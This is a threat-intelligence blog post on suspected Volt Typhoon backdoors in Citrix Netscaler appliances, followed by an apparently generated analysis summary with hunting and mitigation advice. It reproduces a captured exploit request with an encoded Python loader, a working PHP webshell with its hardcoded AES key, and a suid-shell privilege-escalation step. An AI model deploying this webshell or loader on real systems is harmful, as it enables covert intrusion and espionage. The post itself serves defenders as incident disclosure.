Full Report
Citrix Netscaler backdoors — Part One — May 2025 activity against governmentsThis is a follow up post to the prior one, part of a series looking at different Netscaler vulnerabilities that have been exploited in the wild as zero days.Citrix forgot to tell you CVE-2025–6543 has been used as a zero day since May 2025I want to flesh out how systems are being backdoored, what with, and what to do about it.This post will look at a backdoor deployed across western governments and legal institutions earlier this year, over a month before a patch became available. These backdoors were likely installed via Volt Typhoon — there is strong overlap with prior activity, and the attack chain is highly complicated. This is not a ransomware group; it’s espionage.Jeremy Brooks took this photoThe backdoor persists after patching. Citrix essentially hid the existence of the backdoor from customers, opting not to publicly disclose the backdoor’s existence or technical details. They also only provided technical scripts to customers under non-disclosure agreements. In prior Netscaler incidents (this has been a persistent problem for about 3 years now, although the number of incidents as ramped up this year), the NSA and Mandiant acted as the backstop, publicly releasing guidance. However, so far both have been quiet — I don’t know why.Initial accessThis campaign started with a vulnerability in getAuthenticationRequirements.do. It looks like this has been patched by Citrix since… but no technical indicators were released allowing orgs to hunt on their Netscaler web access logs, and no security vendors did write ups.Keep an eye on POST requests to getAuthenticationRequirements.do — these can be legit, but normally fairly rare.Here’s an example request (the format is a bit mangled), and keep scrollings through the wall of text:POST /nf/auth/getAuthenticationRequirements.doHTTP/1.1Connection: keep-aliveContent-Length: 0sec-ch-ua-platform: “Windows”X-Citrix-AM-CredentialTypes: none, username, domain, password, newpassword, passcode, savecredentials, textcredential, webview, nsg-epa, nsg-x1, nsg-setclient, nsg-eula, nsg-tlogin, nsg-fullvpn, nsg-hidden, nsg-auth-failure, nsg-auth-success, nsg-epa-success, nsg-l20n, GoBack, nf-recaptcha, ns-dialogue, nf-gw-test, nf-poll, nsg_qrcode, nsg_manageotp, negotiate, nsg_push, nsg_push_otp, nf_sspr_remsec-ch-ua: “Chromium”;v=”136", “Google Chrome”;v=”136", “Not.A/Brand”;v=”99"sec-ch-ua-mobile: ?0X-Citrix-AM-LabelTypes: none, plain, heading, information, warning, error, confirmation, image, nsg-epa, nsg-epa-failure, nsg-login-label, tlogin-failure-msg, nsg-tlogin-heading, nsg-tlogin-single-res, nsg-tlogin-multi-res, nsg-tlogin, nsg-login-heading, nsg-fullvpn, nsg-l20n, nsg-l20n-error, certauth-failure-msg, dialogue-label, nsg-change-pass-assistive-text, nsg_confirmation, nsg_kba_registration_heading, nsg_email_registration_heading, nsg_kba_validation_question, nsg_sspr_success, nf-manage-otpX-Citrix-IsUsingHTTPS: YesX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept: application/xml, text/xml, */*; q=0.01Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brPriority: u=0, iConnection: closeSec-Ch-Ua: “Not(A:Brand”;v=”24", “Chromium”;v=”122"Upgrade-Insecure-Requests: 1X-Citrix-Am-Labeltypes: none, plain, heading, information, warning, error, confirmation, image, nsg-epa, nsg-epa-failure, nsg-login-label, tlogin-failure-msg, nsg-tlogin-heading, nsg-tlogin-single-res, nsg-tlogin-multi-res, nsg-tlogin, nsg-login-heading, nsg-fullvpn, nsg-l20n, nsg-l20n-error, certauth-failure-msg, dialogue-label, nsg-change-pass-assistive-text, nsg_confirmation, nsg_kba_registration_heading, nsg_email_registration_heading, nsg_kba_validation_question, nsg_sspr_success, nf-manage-otp..X-Citrix-Am-Credentialtypes: none, username, domain, password, newpassword, passcode, savecredentials, textcredential, webview, negotiate, nsg_push, nsg_push_otp, nf_sspr_rem, nsg-epa, nsg-x1, nsg-setclient, nsg-eula, nsg-tlogin, nsg-fullvpn, nsg-hidden, nsg-auth-failure, nsg-auth-success, nsg-epa-success, nsg-l20n, GoBack, nf-recaptcha, ns-dialogue, nf-gw-test, nf-poll, nsg_qrcode, nsg_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 -c “import types,pickle,zlib,base64;types.FunctionType(types.CodeType(*pickle.loads(zlib.decompress(base64.b85decode(‘c-nPSQE%He5T@)TOTBg5Ls4LFM2A5V?1-{0yGgJNi#hwo90tb~h))7bFihi!v)nK%Fh~T9V8o%oe8!Ae@nF+bkuVDMAV?tN(Tp=V!*TE[4bv^DO2Cuo_P8)7[qz5304j;aQDErb=~WU6quDmAy2[O0mPZY>gdvf5kgK@fx4QWsvTFSUor0=7D[)JrVHcHJcOsJPp>k~g[{KnJ_l)ugNggGaJeehZRM;4O&>ac9[Y6fWbSuf0)tIg&!:RP-L4KYzoLZyh)SlN46>w_xwq2{+3N{XFt;5?%^v%)jMzZHF?FP-f[vpx3-Si%w77&JcUO[e3}e>Nu:z;NI(D^G)yS;?(mfIUJ0icRGXn5q4:jHdccRrxP&ezUrQ>&%4RU4an?GSH*W7:pU&a@7f]BPJ8IOof5iO{n:C5-MpYg&>v9PpAz3AcZiLeb1xr^hZphSrN6#DZ4KQ1jZ+^sc0ch5^D}!MyMm@8uQ%%bgizlbEyt8Br):P^Q;kY~lH^vtRuV2MxuM6)fDtTaFqVXc1gChbsabf#9Hk4nks2z@qbY(Z[M-#~3Td(kKl-0#Wq+btK_*KQ!UG8#cB5st8cn-x*Dd=9ZaRZAnG+l{fnxQv1zy@&-VPC0;o@ved6ybxcLm(zQ3pN!=rA bit that may stick out:/var/python/bin/python3 -c “import types,pickle,zlib,base64;types.FunctionType(types.CodeType(*pickle.loads(zlib.decompress(base64.b85decode(‘c-nPSQE%He5T@)b85decode? If you’ve got a WAF in front of your Netscaler, you definitely want to filter out requests with terms like “base64” and python in them..So, what’s happening here?The attacker is running a python script to take some values that are b85 encoded, also zlib compressed and pickled. You then end up with python code which XOR decrypts a PHP webshell.The webshell itself takes AES encrypted commands via a POST request. Here’s an example webshell written to disk:http_response_code(401);eval( openssl_decrypt(base64_decode($_REQUEST[“ssll”]), ‘AES-128-ECB’, ‘K1d2kw35p2oqasbm’,OPENSSL_RAW_DATA));?>The threat actor stores the shell in various locations on /var/netscaler/logon, in directories which are web accessible. For example, with some orgs they were dumping the shells in index.php in LogonPoint. In others, they were storing the PHP files in customer theme locations.Other attacker activityThe attacker copied /bin/sh to /var/tmp/sh, and made /var/tmp/sh suid root, to allow them to elevate privileges to root later.They also gracefully restarted apache — Netscaler as a product never does this, so it’s a good forensic tell if you have the logs still. You probably don’t.They also did time stomping on a legit file — /var/netscaler/logon/LogonPoint/receiver/js/external/jquery.min.js — changing the file to a non-standard date.It is possible to then see GET requests to jquery.min.js in your Netscaler web access logs from the attacker — they appear to be looking at the Last Modified HTTP header, to see if their attack was successful and if the box has since been patched (the file is replaced during patching). It’s difficult to know which requests are the attacker from logs, however, as this is a legit file that end users use — and Netscaler only records HTTP request headers, so you can’t tell from web access logs when the file date was modified.A note to security researchers — if you scan the internet for that path and look at the Last Modified response headers, you can find anomalies which are almost certainly backdoored still. I have been notifying orgs have specific webshells, but more are welcome to find the party.But more attacker activity!There’s more, which I’ll save for a future blog — for example, non-PHP webshells are also deployed. Additionally, other vulnerabilities are also being exploited, for more later.What to do with this informationMy hope here, between this blog and the last blog, many more organisations inspect their systems and flush out the threat actor.I also hope Citrix/Cloud Sofware Group put some serious thought into Netscaler — the product has some really good features in this area (e.g. FIM with Netscaler Connect) but I feel the reality is, on the ground with customers, that just isn’t landing yet. The vendor probably need to look at what hardening they do on Netscaler itself and what extra resources they need to get on top of the situation.I’ll be blunt about the situation: this is a serious threat actor, who are investing a lot of resources to maintain access to organisations via the product which is supposed to secure them. It’s basically a do or die moment for the product, and probably another warning sign in the vendor coal mine that border network security products are being reverse engineered and challenged at a scale never before seen. These kind of vulnerabilities have, of course, always been exploited in the wild — but the scale and depth of access being obtained, combined with ransomware groups acquiring zero days in other SSL VPN products has altered my view of the situation. The bar needs raising on edge security products across the board, and we really need transparency when things go wrong.I also hope it’s a wider wake up call for the security industry to start looking at Netscaler, as organisations are having woes without being aware for an extended period of time now. Right now it looks like there’s WatchTowr, Horizon3, NCSC in the Netherlands and me, a cartoon porg, basically driving out these incidents. Which is cool and all.. but it feels a bit lonely.Citrix Netscaler backdoors — Part One — May 2025 activity against governments was originally published in DoublePulsar on Medium, where people are continuing the conversation by highlighting and responding to this story.
Analysis Summary
# Threat Actor: Suspected Volt Typhoon Activity
## Attribution & Identity
**Identification:** The activity is **"likely installed via Volt Typhoon"** due to strong overlap with prior activity and a highly complicated attack chain.
**Known Aliases/Groups:** Volt Typhoon (Suspected).
**Associated Groups:** Not explicitly named beyond the suspected link to Volt Typhoon.
## Activity Summary
This activity centers on the exploitation of a **Citrix Netscaler zero-day vulnerability, CVE-2025-6543**, starting as early as May 2025 (over a month before a patch was available). The goal of this campaign is **espionage**, not ransomware. The actor successfully deployed backdoors across targeted organizations. Critically, the backdoor **persists even after patching** if remediation is incomplete, as Citrix failed to fully disclose the backdoor's existence and technical details, providing remediation scripts only under non-disclosure agreements.
## Tactics, Techniques & Procedures
- **Initial Access (TA0001):** Exploited a vulnerability in the endpoint `/nf/auth/getAuthenticationRequirements.do` endpoint via **POST requests**.
- **Payload Staging/Obfuscation:** Deployed a Python script chain that involved:
1. Decoding base64 data.
2. Decompressing with zlib.
3. Loading with pickle.
4. Executing Python code in memory (`/var/python/bin/python3 -c “import types,pickle,zlib,base64;...”`).
- **Web Shell Deployment:** The Python execution ultimately led to the XOR decryption of a **PHP webshell**.
- **Command and Control (C2):** The PHP webshell accepts encrypted commands via AES-128-ECB decryption using a hardcoded key (`K1d2kw35p2oqasbm`).
- **Persistence and Defense Evasion:**
- Stored PHP webshells in web-accessible locations, such as `/var/netscaler/logon/LogonPoint/receiver/js/external/index.php` or customer theme locations.
- Created a root-level backdoor by copying `/bin/sh` to `/var/tmp/sh` and setting it with the **SUID root** bit: `/var/tmp/sh` setuid root for privilege escalation.
- Performed **Time Stomping** on a legitimate file (`/var/netscaler/logon/LogonPoint/receiver/js/external/jquery.min.js`) to conceal activity or maintain persistence.
- Gracefully **restarting Apache**—a non-standard action for Netscaler—used as an activity flag.
- Attacker activity was observed querying the `Last Modified` HTTP header of known legitimate files (e.g., `jquery.min.js`) likely to check if patching restored the file to its baseline state.
- **Initial Access TTP Warning:** Security researchers should monitor **POST requests to `getAuthenticationRequirements.do`**.
## Targeting
- **Sectors:** Governments and Legal Institutions.
- **Geography:** Western governments.
- **Victims:** Unspecified, but the targeting focus is on government and legal sectors across the West.
## Tools & Infrastructure
- **Malware Families Used:** Custom PHP Webshell (uses AES-128-ECB decryption).
- **Payload Execution Chain:** Native Python interpreter (`/var/python/bin/python3`).
- **Custom Commands:** The actor executes a specific command structure using AES-encrypted data in the `ssll` request parameter:
php
http_response_code(401);eval( openssl_decrypt(base64_decode($_REQUEST["ssll"]), ‘AES-128-ECB’, ‘K1d2kw35p2oqasbm’,OPENSSL_RAW_DATA));
- **Infrastructure Indicators:** The described TTP relies on manipulating the target system itself rather than external C2 infrastructure identified in the text, beyond the initial exploit vector.
## Implications
The actor is a **serious threat actor** investing significant resources to maintain access via widely deployed security products (Netscaler). The compromise is deep, allowing for **privilege escalation to root** and persistent access even after standard vendor patching, indicating sophisticated evasion techniques (persistence after patch). The actions highlight a critical failure in vendor transparency regarding disclosed backdoors, leaving many organizations vulnerable without clear indicators to hunt for the established access.
## Mitigations
- **Hunting for Initial Access:** Monitor Netscaler web access logs for rare or anomalous **POST requests to `/nf/auth/getAuthenticationRequirements.do`**.
- **Filtering/WAF Rules:** If using a Web Application Firewall (WAF), filter requests containing obfuscation terms such as **"base64"** and **"python"** intended for Netscaler endpoints.
- **Forensic Review:** Check for abnormal artifacts indicative of persistence:
- Existence of a SUID root binary at `/var/tmp/sh`.
- Unexpected graceful restarts of the Apache service on Netscaler appliances.
- **Persistence Check:** Verify the integrity and modification dates of files within known web-accessible directories, particularly under `/var/netscaler/logon/LogonPoint/receiver/js/external/` for webshell installation or time-stomped artifacts.
- **Vendor Transparency Demand:** Organizations should advocate for full disclosure from vendors regarding backdoors associated with exploited vulnerabilities.